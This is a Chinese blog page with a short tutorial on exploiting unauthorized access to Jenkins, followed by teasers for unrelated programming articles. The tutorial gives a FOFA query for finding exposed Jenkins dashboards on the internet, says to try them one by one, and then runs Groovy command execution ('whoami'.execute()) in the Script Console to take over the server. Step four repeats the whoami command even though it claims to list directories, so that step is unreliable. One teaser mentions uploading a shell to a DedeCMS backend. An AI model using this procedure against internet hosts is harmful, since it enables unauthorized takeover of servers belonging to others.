当前位置： 首页 > news >正文

【Jenkins未授权访问漏洞 】

news 2026/1/30 11:21:05

默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务，通过脚本执行界面从而获取服务器权限。

第一步：使用fofa语句搜索

搜索语句：

port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"

一个一个搜索，直到出现 Manage Jenkins，在打开的URL中...点击 Manage Jenkins
Scritp Console 再执行以下命令.

第二步：点进去后，页面往下翻看到Scritp Console——点击。

、

第三步：执行命令，查看当前用户名

println "whoami".execute().text

如下图就是执行中

第四步：执行命令，查看目录

println "whoami".execute().text

相关文章：

【Jenkins未授权访问漏洞 】

默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务，通过脚本执行界面从而获取服务器权限。 第一步：使用fofa语句搜索 搜索语句： port&…...

编程日记 2024/8/4 20:20:46

前端处理 Excel 文件

引入XLSX XLSX 是一个流行的 JavaScript 库，用于处理 Excel 文件（包括 .xls 和 .xlsx 格式）。它可以在 Node.js 环境和浏览器中运行，提供了丰富的 API 来读取、写入、修改 Excel 文件。当你使用 import * as XLSX from xlsx; 这行…...

编程日记 2024/8/4 20:18:44

(vue)el-cascader级联选择器按勾选的顺序传值,摆脱层级约束

(vue)el-cascader级联选择器按勾选的顺序传值,摆脱层级约束 需求：按勾选的顺序给后端传值 难点：在 Element UI 的 el-cascader 组件中，默认的行为是根据数据的层级结构来显示选项，用户的选择也会基于这种层级结构，el-…...

编程日记 2024/8/4 20:17:43

Redis进阶(四):哨兵

为了解决主节点故障，需要人工操作切换主从的情况；因此需要一种方法可以自动化的切换：哨兵的引入大大改变这种情况。 哨兵的基本概念 自动切换主从节点 哨兵架构 1、当一个哨兵节点发现主节点挂了的时候，还需要其他节点也去检测一…...

编程日记 2024/8/4 20:15:41

蓝屏事件：网络安全的启示

“微软蓝屏”事件暴露了网络安全哪些问题？ 近日，一次由微软视窗系统软件更新引发的全球性“微软蓝屏”事件，不仅成为科技领域的热点新闻，更是一次对全球IT基础设施韧性与安全性的深刻检验。这次事件，源于美国电脑安全技…...

编程日记 2024/8/4 20:13:38

技术方案评审原则

系列文章目录 提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加 TODO:写完再整理 文章目录 系列文章目录前言技术方案评审原则1.理论突破阶段2.技术突破阶段3.工程化阶段自动驾驶行业的技术方案分析前言 认知有限，望大家多多包涵，有什么问题也希望能够与大…...

编程日记 2024/8/4 20:12:37

117页PPT埃森哲-物流行业信息化整体规划方案

一、埃森哲-物流行业信息化整体规划方案 资料下载方式，请看每张图片右下角信息 埃森哲在物流行业信息化整体规划项目中的核心内容，旨在帮助物流企业通过信息技术的应用实现业务流程的优化、运营效率的提升以及市场竞争力的增强。以下是埃森哲在此类项目…...

编程日记 2024/8/4 20:11:35

百度网盘不下载怎么直接打印文件？

在数字化时代，百度网盘作为我们存储和分享文件的重要工具，承载了大量的文档、图片和资料。然而，当需要打印这些文件时，很多用户会面临一个共同的问题：不想下载到本地再打印，既占用空间又浪费时间。那么&…...

编程日记 2024/8/4 20:09:32

设置了 robots.txt 禁止爬虫抓取，为什么还是能被百度搜索出来

虽然设置了 robots.txt 禁止爬虫抓取，但网页仍可能被百度搜索出来，主要有以下几个原因： robots.txt 只是一种建议性协议，并非强制性[2]。虽然大多数搜索引擎会遵守 robots.txt 的规则，但并不是所有爬虫都会严格遵守。 …...

编程日记 2024/8/4 20:08:31

DedeCMS-V5.7.82-UTF8织梦管理系统漏洞

将靶场环境放到www目录下——访问/dedecms/uploads 安装程序 - 织梦内容管理系统 V5.7 UTF8SP2 同意协议——继续 继续 配置后——点击继续 进入后台 登录后台——填写用户名密码。 方法一：上传shell文件 后台——核心——附件管理——上传新文件。 访问/dedecms…...

编程日记 2024/8/4 20:07:30

【Python】字符串练习题及代码示例

1、使用while循环实现对字符串中每个字符进行输出。 代码示例： 2、请将代码实现如下进制的转换。 （1）v1675,请将v1转换为二进制。 代码： 注意：将十进制数转换为二进制数的方法是：bin(a),a是整型&#x…...

编程日记 2024/8/4 20:06:29

fluent动网格profile udf 注意事项

案例一： ((profile_name transient 2 0) ....第一行 (time 0 15.0) ....第二行 (v_x 1.2 1.2)) …...

编程日记 2024/8/4 20:04:25

【doghead】mac构建 2： player 端 clion构建

准备工作 【doghead】mac构建 1 【doghead】mac： clion2024.1启动崩溃 mbp的 uv 构建ok zhangbin@zhangbin-mbp-2  ~/tet/Fargo/zhb-bifrost/Bifrost-202403/worker/third_party/libuv   main clion使用lldb cmake构建 更...

编程日记 2024/8/4 20:02:23

论网络流（最大流篇）--新手入门超详解--包教包会

论网络流--新手入门超详解--包教包会 1 前言2 什么是最大流3最大流问题的求解（1）问题转化--增广路的引入（2）走回头路--EK算法（3）EK的弊端（4）化图为树--DINIC算法 4后记 1 前言 网络…...

编程日记 2024/8/4 20:00:21

环境搭建：全面详尽的 MongoDB Shell MongoDB Server介绍、安装、验证与配置指南（以 Windows 系统为主）

环境搭建：全面详尽的 MongoDB Shell & MongoDB Server介绍、安装、验证与配置指南（以 Windows 系统为主） MongoDB 是一个基于文档的 NoSQL 数据库，以其高性能、灵活性和可扩展性而受到广泛欢迎。本文将带您完成 MongoDB 的安装…...

编程日记 2024/8/4 19:58:18

使用 OpenSearch 的 K-NN 向量搜索来增强搜索功能

使用 OpenSearch 的 K-NN 向量搜索来增强搜索功能 许多应用程序都依赖于提供精确且相关的搜索结果的能力。尽管传统关系数据库的全文搜索功能在某些情况下已经足够，但这些数据库在从文本中提取语义含义或搜索结构化程度较低的数据方面可能会出现不足。在这篇博文中&…...

编程日记 2024/8/4 19:57:16

Less-2（闭合）

我们使用第一关的测试方法尝试一下,打咩 直接看源码&#xff0c;看到&#xff0c;尝试一下闭合 <?php ini_set("display_errors", 0); $str $_GET["keyword"]; echo "<h2 aligncenter>没有找到和".htmlspecialchars($str)."相…...

编程日记 2024/8/4 19:55:14

mysql介绍

MySQL是一种开源的关系型数据库管理系统&#xff08;RDBMS&#xff09;&#xff0c;广泛用于存储和管理数据。它支持多种操作系统&#xff0c;如Linux、Windows、MacOS等。MySQL的特点包括&#xff1a; 1.开源免费&#xff1a;MySQL是开源的&#xff0c;可以免费使用和分发。 2…...

编程日记 2024/8/4 19:54:13

【ROS学习】ROS中 use_sim_time 参数的含义与作用

文章目录 写在前面一、背景描述二、 use_sim_time 参数的含义与作用三、举例说明1. 不设置use_sim_time (也即 use_sim_time false)&#xff0c;播放数据集使用rosbag play **.bag 2. 不设置use_sim_time (也即 use_sim_time false)&#xff0c;播放数据集使用rosbag play **…...

编程日记 2024/8/4 19:53:11

python-查找元素3（赛氪OJ）

[题目描述] 有n个不同的数&#xff0c;从小到大排成一列。现在告诉你其中的一个数x&#xff0c;x不一定是原先数列中的数。你需要输出最后一个<x的数在此数组中的下标。输入&#xff1a; 输入共两行第一行为两个整数n、x。第二行为n个整数&#xff0c;代表a[i]。输出&#x…...

编程日记 2024/8/4 19:52:08

TDengine 快速体验（Docker 镜像方式）

简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能&#xff0c;本节首先介绍如何通过 Docker 快速体验 TDengine&#xff0c;然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker&#xff0c;请使用 安装包的方式快…...

编程新知 2026/1/20 21:57:00

C++ 求圆面积的程序（Program to find area of a circle）

给定半径r&#xff0c;求圆的面积。圆的面积应精确到小数点后5位。 例子&#xff1a; 输入&#xff1a;r 5 输出&#xff1a;78.53982 解释&#xff1a;由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982&#xff0c;因为我们只保留小数点后 5 位数字。 输…...

编程新知 2026/1/29 21:11:56

成都鼎讯硬核科技！雷达目标与干扰模拟器，以卓越性能制胜电磁频谱战

在现代战争中&#xff0c;电磁频谱已成为继陆、海、空、天之后的 “第五维战场”&#xff0c;雷达作为电磁频谱领域的关键装备&#xff0c;其干扰与抗干扰能力的较量&#xff0c;直接影响着战争的胜负走向。由成都鼎讯科技匠心打造的雷达目标与干扰模拟器&#xff0c;凭借数字射…...

编程新知 2026/1/15 7:09:22

蓝桥杯3498 01串的熵

问题描述 对于一个长度为 23333333的 01 串, 如果其信息熵为 11625907.5798&#xff0c; 且 0 出现次数比 1 少, 那么这个 01 串中 0 出现了多少次? #include<iostream> #include<cmath> using namespace std;int n 23333333;int main() {//枚举 0 出现的次数//因…...

编程新知 2026/1/20 7:21:36

SiFli 52把Imagie图片，Font字体资源放在指定位置，编译成指定img.bin和font.bin的问题

分区配置 (ptab.json) img 属性介绍&#xff1a; img 属性指定分区存放的 image 名称&#xff0c;指定的 image 名称必须是当前工程生成的 binary 。 如果 binary 有多个文件&#xff0c;则以 proj_name:binary_name 格式指定文件名&#xff0c; proj_name 为工程 名&…...

编程新知 2026/1/23 10:51:19

PAN/FPN

import torch import torch.nn as nn import torch.nn.functional as F import mathclass LowResQueryHighResKVAttention(nn.Module):"""方案 1: 低分辨率特征 (Query) 查询高分辨率特征 (Key, Value).输出分辨率与低分辨率输入相同。"""def __…...

编程新知 2025/10/20 4:39:36

Linux 中如何提取压缩文件 ？

Linux 是一种流行的开源操作系统&#xff0c;它提供了许多工具来管理、压缩和解压缩文件。压缩文件有助于节省存储空间&#xff0c;使数据传输更快。本指南将向您展示如何在 Linux 中提取不同类型的压缩文件。 1. Unpacking ZIP Files ZIP 文件是非常常见的&#xff0c;要在 …...

编程新知 2026/1/26 5:06:49

[免费]微信小程序问卷调查系统(SpringBoot后端+Vue管理端)【论文+源码+SQL脚本】

大家好&#xff0c;我是java1234_小锋老师&#xff0c;看到一个不错的微信小程序问卷调查系统(SpringBoot后端Vue管理端)【论文源码SQL脚本】&#xff0c;分享下哈。 项目视频演示 【免费】微信小程序问卷调查系统(SpringBoot后端Vue管理端) Java毕业设计_哔哩哔哩_bilibili 项…...

编程新知 2026/1/29 5:39:49

逻辑回归暴力训练预测金融欺诈

简述 「使用逻辑回归暴力预测金融欺诈&#xff0c;并不断增加特征维度持续测试」的做法&#xff0c;体现了一种逐步建模与迭代验证的实验思路&#xff0c;在金融欺诈检测中非常有价值&#xff0c;本文作为一篇回顾性记录了早年间公司给某行做反欺诈预测用到的技术和思路。百度…...

编程新知 2026/1/30 5:02:17

windows系统MySQL安装文档

概览&#xff1a;本文讨论了MySQL的安装、使用过程中涉及的解压、配置、初始化、注册服务、启动、修改密码、登录、退出以及卸载等相关内容&#xff0c;为学习者提供全面的操作指导。关键要点包括&#xff1a; 解压 &#xff1a;下载完成后解压压缩包&#xff0c;得到MySQL 8.…...

编程新知 2026/1/20 11:55:46